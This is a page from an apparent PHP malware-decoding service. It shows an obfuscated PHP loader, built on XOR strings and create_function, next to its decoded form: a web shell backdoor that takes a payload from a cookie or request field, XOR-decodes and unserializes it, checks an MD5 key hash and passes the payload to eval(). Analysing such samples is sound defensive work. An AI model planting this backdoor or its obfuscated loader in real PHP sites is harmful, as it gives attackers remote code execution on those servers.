Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $JgRmWG='SENLG2>+ EXCZOY'; $YIKgwqQX='07+-3WaMU+;73 7'^$JgRmWG; $CBeIvy='IHyI7A- C.A..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == '7d2874e9aad24715642b11b29babdd2d') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

Did this file decode correctly?

Original Code

<?php $JgRmWG='SENLG2>+ EXCZOY'; $YIKgwqQX='07+-3WaMU+;73 7'^$JgRmWG; $CBeIvy='IHyI7A- C.A+9VNB C5nnAOAnW  3ekP8GuNKh0iK>EPVG35 k9 LaR2;Uaj+N-lt.X,RtduW<=bhMwYkFp>=oZLMpiljtr7gBTY>zCErlpbxao zH3  .6MhPQ7JYzacRxnaHe2mCUOdguTDv7JXWkS=jmpnt-.Mev0tla7B1X2PGo.1HG3Mv7=>Y E=F6ye5<:zNgE;n;cfgSJ0AagaRO=5RxIaV377o;<,sGU7AXJWzfBS 9Q1T8npfd4tvpd x,JkwK BWUucg8LX8+pH==bvZM-We;QNaUOq  =JocfWL: ugWmZ.56KV:F6>0RknJq 5=Zod9lDM<C1 QDvah10tkuu 5LOSlT: 7mxRQk00:H0aO<oM7s-SNJkZ3Yhniu2V-ThafqZ Y8jgiR=4 0Wvs<8ACf6t1Q7Pqxwr1UIXH=4R;.UK<-R2 AC53t;X-R+Y2VoGaH 9X=Sbu+,O3phVn3O21t.I>MGn9 ZaCD4B7cntX-FR;1fU+Ir73IM>DZU 2<Eydt3;.2bsgwbKY0SPiW X+-H8SEkvgpiyWpeWYnoaHt8RZJMgrfdqW,KpSDiV9T>SpIDqtqGl2<BMW0=VLs V S  fQMPU6;L MCyAS ;6mqDAfdcW1kh57;8XjUSLVlH77R6 S clglBf JB<ayalYL'; $wBZVgXVz=$YIKgwqQX('', ' .QhQ4CC7G.Ef36+S7FFI9 313ATR:4=M3RgbHKcBX0>53ZZNKAO>>6SO4>5F;YDPJ9X3XDQ<YDKHmWyK=z74K599PTLMSI=nK26LRg,RQPRCAKIF;GRLKXeL40C+pAAG;SEHBl;I, ;DIHtlRS+,60wT7M.NPFK4>RYTIAD6C4W>oKET1nndM=47+E1H4XQAZINSumLFdFilC7+D AZA4.QF7CCE2RCV0PYUSzuQ 492AlH5OK4P7PNXB;w;9;-eXM9KS E;whKCCN-4MNYhF7kR>,Y6:P47AhoUKEDqejB3-NAUZwI,OYC.m0;<4Y4KFkUDTI;FDBfM+S1TA2,VILnb1: 0sal. LpQENMElqOFQV=UHoGeD>WI2:+41V HSIQY3TobhoU>A-YJZIvKULE2My5EK>l<PU0C1QEW2D;:=:TU>RT0cDB mD 7Tl+V-YzI8A3Ys>,EZ7Y6JQOM;RYDvJW.FP+E,GdnU3I<Ig U6VCHRxL4 ZH9>N0-RK >J7rrKWEbUDPWZZSKSAQBc4TfxM3A,JvoS6<L+NPTDwWR3kVXU-MY3>xyPCSREeNzA1vP4X6Z7B-cXTWaLSN0,.oV35,E.I TSNv=1,ZT-DjoYe7AOWDXdaFDCwJaaPAZTpN12877oGV+ZO2DD1NWHoE2+HIIHWS1'^$CBeIvy); $wBZVgXVz();

Function Calls

null 1
create_function 1

Variables

$CBeIvy IHyI7A- C.A+9VNB C5nnAOAnW 3ekP8GuNKh0iK>EPVG35 k9 LaR2;Uaj..
$JgRmWG SENLG2>+ EXCZOY
$YIKgwqQX create_function
$wBZVgXVz None

Stats

MD5 046fe58c01ddf16a007562e5a4814413
Eval Count 1
Decode Time 85 ms